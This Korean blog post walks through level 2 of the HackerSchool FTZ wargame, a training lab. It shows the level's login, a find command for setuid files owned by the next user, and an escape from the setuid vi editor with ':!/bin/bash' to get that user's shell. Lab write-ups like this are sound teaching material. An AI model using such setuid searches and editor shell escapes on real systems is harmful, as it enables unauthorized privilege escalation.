해커스쿨 FTZ [LEVEL2] 풀이
M4ndU
해커스쿨 FTZ [LEVEL2] 풀이입니다.
ID | level2
PW | hacker or cracker
으로 로그인합니다.
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.
login as: level2
level2@192.168.31.128's password:
[level2@ftz level2]$ ls -l
total 12
-rw-r--r-- 1 root root 60 Mar 23 2000 hint
drwxr-xr-x 2 root level2 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level2 4096 Jan 16 2009 tmp
hint 파일이 있습니다.
cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.
[level2@ftz level2]$ cat hint
텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...
?????????
일단.. level3의 쉘의 명령을 실행시킬수 있어야 하니 level3권한에 setuid가 걸린 파일을 찾아 봅시다.
[level2@ftz level2]$ find / -user level3 -perm -4300 2>/dev/null
/usr/bin/editor
vi 에디터네요.
명령어를 수행하는 : 를 누르고, 외부 쉘을 실행시키는 !과 쉘을 얻기 위해 /bin/bash를 입력해 주자.
~
~
~
~
:!/bin/bash
자, 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ
'System Hacking > FTZ' 카테고리의 다른 글
해커스쿨 FTZ [LEVEL5] 풀이 (2) | 2018.02.07 |
---|---|
해커스쿨 FTZ [LEVEL4] 풀이 (0) | 2018.02.07 |
해커스쿨 FTZ [LEVEL3] 풀이 (0) | 2018.02.07 |
해커스쿨 FTZ [LEVEL1] 풀이 (1) | 2018.02.07 |
해커스쿨 FTZ 로컬서버 구축하는 방법 (2) | 2018.02.06 |